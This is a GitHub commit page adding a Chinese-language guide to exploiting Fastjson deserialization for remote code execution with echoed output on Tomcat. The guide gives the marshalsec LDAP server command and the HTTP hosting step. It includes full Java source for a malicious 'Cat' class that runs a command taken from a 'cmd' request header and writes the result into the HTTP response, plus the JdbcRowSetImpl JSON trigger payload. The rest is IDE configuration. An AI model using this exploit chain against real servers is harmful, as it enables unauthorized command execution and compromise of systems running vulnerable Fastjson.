Skip to content

Commit 48a725f

Browse files
SummerSecSummerSec
committed
Fastjson回显.md
1 parent 947ce00 commit 48a725f

File tree

3 files changed

+144
-13
lines changed

3 files changed

+144
-13
lines changed

‎Rce_Echo/TomcatEcho/Fastjson回显.md‎

Lines changed: 107 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,107 @@
1+
# Fastjson回显
2+
3+
1. 先启动一个LDAP服务
4+
5+
`java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.
6+
0.0.1:6666#Cat`
7+
8+
2. 再启动http服务
9+
10+
`py -3 -m http.server --bind 127.0.0.1 6666`
11+
12+
3. 再http服务下的目录创建一个`XXX.java`文件 然后`Javac XXX.java` 文件内容如下：
13+
14+
```
15+
public class Cat {
16+
public Cat()throws Exception{
17+
boolean flag = false;
18+
ThreadGroup group = Thread.currentThread().getThreadGroup();
19+
java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");
20+
f.setAccessible(true);
21+
Thread[] threads = (Thread[]) f.get(group);
22+
for(int i = 0; i < threads.length; i++) {
23+
try{
24+
Thread t = threads[i];
25+
if (t == null) continue;
26+
String str = t.getName();
27+
if (str.contains("exec") || !str.contains("http")) continue;
28+
f = t.getClass().getDeclaredField("target");
29+
f.setAccessible(true);
30+
Object obj = f.get(t);
31+
if (!(obj instanceof Runnable)) continue;
32+
f = obj.getClass().getDeclaredField("this$0");
33+
f.setAccessible(true);
34+
obj = f.get(obj);
35+
try{
36+
f = obj.getClass().getDeclaredField("handler");
37+
}catch (NoSuchFieldException e){
38+
f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
39+
}
40+
f.setAccessible(true);
41+
obj = f.get(obj);
42+
try{
43+
f = obj.getClass().getSuperclass().getDeclaredField("global");
44+
}catch(NoSuchFieldException e){
45+
f = obj.getClass().getDeclaredField("global");
46+
}
47+
f.setAccessible(true);
48+
obj = f.get(obj);
49+
f = obj.getClass().getDeclaredField("processors");
50+
f.setAccessible(true);
51+
java.util.List processors = (java.util.List)(f.get(obj));
52+
for(int j = 0; j < processors.size(); ++j) {
53+
Object processor = processors.get(j);
54+
f = processor.getClass().getDeclaredField("req");
55+
f.setAccessible(true);
56+
Object req = f.get(processor);
57+
Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]);
58+
str = (String)req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"});
59+
if (str != null && !str.isEmpty()) {
60+
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});
61+
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/sh", "-c", str};
62+
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
63+
byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream(),charsetName)).useDelimiter("\\A").next().getBytes(charsetName);
64+
try {
65+
Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
66+
obj = cls.newInstance();
67+
cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)});
68+
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
69+
} catch (NoSuchMethodException var5) {
70+
Class cls = Class.forName("java.nio.ByteBuffer");
71+
obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result});
72+
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
73+
}
74+
flag = true;
75+
}
76+
if (flag) break;
77+
}
78+
if (flag) break;
79+
}catch(Exception e){
80+
continue;
81+
}
82+
}
83+
}
84+
}
85+
```
86+
87+
3. payload 直接发送
88+
89+
```
90+
{
91+
"a":{
92+
"@type":"java.lang.Class",
93+
"val":"com.sun.rowset.JdbcRowSetImpl"
94+
},
95+
"b":{
96+
"@type":"com.sun.rowset.JdbcRowSetImpl",
97+
"dataSourceName":"ldap://127.0.0.1:1389/Cat",
98+
"autoCommit":"true"
99+
}
100+
}
101+
```
102+
103+
104+
105+
4. 直接回显
106+
107+
![image-20210622174122630](https://gitee.com/samny/images/raw/master/summersec//22u41er22ec/22u41er22ec.png)

‎vuldemo/.idea/workspace.xml‎

Lines changed: 24 additions & 13 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

‎vuldemo/vuldemo.iml‎

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,18 @@
11
<?xml version="1.0" encoding="UTF-8"?>
22
<module org.jetbrains.idea.maven.project.MavenProjectsManager.isMavenModule="true" type="JAVA_MODULE" version="4">
3+
<component name="FacetManager">
4+
<facet type="web" name="Web">
5+
<configuration>
6+
<webroots>
7+
<root url="file://$MODULE_DIR$/src/main/resources/webapp" relative="/" />
8+
</webroots>
9+
<sourceRoots>
10+
<root url="file://$MODULE_DIR$/src/main/java" />
11+
<root url="file://$MODULE_DIR$/src/main/resources" />
12+
</sourceRoots>
13+
</configuration>
14+
</facet>
15+
</component>
316
<component name="NewModuleRootManager" LANGUAGE_LEVEL="JDK_1_7">
417
<output url="file://$MODULE_DIR$/target/classes" />
518
<output-test url="file://$MODULE_DIR$/target/test-classes" />

0 commit comments

Comments
 (0)